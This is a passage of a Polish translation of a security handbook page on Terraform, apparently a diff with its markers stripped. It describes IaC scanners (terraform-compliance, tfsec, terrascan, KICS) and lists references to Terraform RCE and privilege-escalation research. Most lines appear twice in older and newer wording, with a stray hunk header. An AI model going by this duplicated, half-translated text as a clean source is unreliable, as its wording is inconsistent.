- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów
- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC?
- **przenośny:** wystarczy zainstalować go z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem
- **łatwy do zintegrowania:** może działać w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane.
- **podział obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół.
- **compliance:** Zapewnia, że zaimplementowany kod przestrzega standardów bezpieczeństwa oraz twoich własnych, niestandardowych standardów
- **behaviour driven development:** Mamy BDD prawie do wszystkiego, dlaczego nie dla IaC?
- **portable:** wystarczy zainstalować z `pip` lub uruchomić przez `docker`. Zobacz [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** waliduje twój kod przed jego wdrożeniem
- **easy to integrate:** może uruchamiać się w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane.
- **segregation of duty:** możesz przechowywać swoje testy w innym repozytorium, za które odpowiada odrębny zespół.
> [!NOTE]
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić tego narzędzia.
> Niestety, jeśli kod używa providerów, do których nie masz dostępu, nie będziesz w stanie wykonać `terraform plan` i uruchomić tego narzędzia.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
@@ -322,57 +348,70 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje analizę statyczną twojego kodu terraform, aby wykryć potencjalne błędy konfiguracyjne.
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
- ☁️ Sprawdza błędy konfiguracyjne we wszystkich głównych (i niektórych mniejszych) dostawcach chmury
- ☁️ Sprawdza błędy konfiguracji u wszystkich głównych (i niektórych mniejszych) dostawców chmury
- ⛔ Setki wbudowanych reguł
- 🪆 Skanuje moduły (lokalne i zdalne)
- Ocenia wyrażenia HCL oraz wartości dosłowne
- ↪️ Ocenia funkcje Terraform, np. `concat()`
- 🔗 Ocenia relacje między zasobami Terraform
- Oceni wyrażenia HCL oraz wartości literalne
- ↪️ Oceni funkcje Terraform, np. `concat()`
- 🔗 Oceni zależności między zasobami Terraform
- 🧰 Kompatybilny z Terraform CDK
- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego
- 📃 Obsługuje wiele formatów wyjściowych: piękny (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego)
- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów
- 🙅 Stosuje (i rozszerza) zdefiniowane przez użytkownika polityki Rego
- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Konfigurowalny (poprzez flagi CLI i/lub plik konfiguracyjny)
- ⚡ Bardzo szybki — potrafi skanować ogromne repozytoria w krótkim czasie
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan umożliwia:
- Bezproblemowe skanowanie Infrastructure as Code pod kątem nieprawidłowych konfiguracji.
- Monitorowanie udostępnionej infrastruktury w chmurze pod kątem zmian konfiguracji wprowadzających odchylenia stanu zabezpieczeń (posture drift) oraz umożliwienie przywrócenia bezpiecznego stanu.
- Wykrywanie podatności i naruszeń zgodności.
- Redukcję ryzyka przed wdrożeniem natywnej infrastruktury w chmurze.
- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx.
Znajdź luki w zabezpieczeniach, problemy ze zgodnością i nieprawidłowe konfiguracje infrastruktury na wczesnym etapie cyklu rozwoju infrastruktury jako kodu za pomocą **KICS** od Checkmarx.
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie natywnym w chmurze.
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest open source i jest niezbędny dla każdego projektu cloud native.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala na:
Z [**docs**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan pozwala na:
- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji.
- Monitorowanie dostarczonej infrastruktury chmurowej w celu wykrywania zmian w konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności.
- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej.
- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
- Bezproblemowe skanowanie Infrastructure as Code w poszukiwaniu nieprawidłowych konfiguracji.
- Monitorowanie provisioned cloud infrastructure pod kątem zmian konfiguracji powodujących posture drift oraz możliwość przywrócenia bezpiecznego stanu.
- Wykrywanie podatności bezpieczeństwa i naruszeń zgodności.
- Łagodzenie ryzyka przed provisioning cloud native infrastructure.
- Zapewnia elastyczność uruchamiania lokalnie lub integracji z CI\CD.
```bash
brew install terrascan
```
## Odniesienia
## Źródła
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud nadużycie tokena zamieniające speculative plan w remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Uprawnienia Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [Konfiguracja providera AWS](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
- [GCP provider Korzystanie z Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Zmienne wrażliwe](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: zagrożenia platform automatyzacji Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}